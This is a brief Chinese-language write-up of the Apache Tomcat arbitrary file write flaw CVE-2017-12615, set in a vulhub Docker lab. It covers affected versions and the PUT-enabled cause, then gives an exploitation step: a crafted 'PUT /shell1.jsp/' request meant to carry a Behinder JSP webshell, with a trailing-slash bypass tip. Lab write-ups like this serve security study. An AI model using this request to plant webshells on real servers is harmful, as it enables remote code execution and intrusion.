Tomcat 任意写入文件漏洞（CVE-2017-12615）

一、漏洞简介

        2017 年 9 月 19 日，Apache Tomcat 官方确认并修复了两个高危漏洞，漏洞 CVE 编号:CVE-2017-12615 和 CVE-2017-12616,其中 远程代码执行漏洞（CVE-2017-12615）

二、影响范围

        Apache Tomcat 7.0.0 - 7.0.79（7.0.81 修复不完全）

三、漏洞产生原因

        当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP文件。之后，JSP 文件中的代码将能被服务器执行。

        漏洞的产生是由于配置不当（非默认配置），将配置文件（conf/web.xml）中的 readonly 设置为了 false，导致可以使用 PUT 方法上传

四、漏洞实战

cd vulhub/tomcat/CVE-2017-12615
 
docker-compose up –d

 修改包

PUT /shell1.jsp/ HTTP/1.1

下面写上 jsp 的冰蝎木马

注意.Jsp 后面要加上 / 不然绕不过去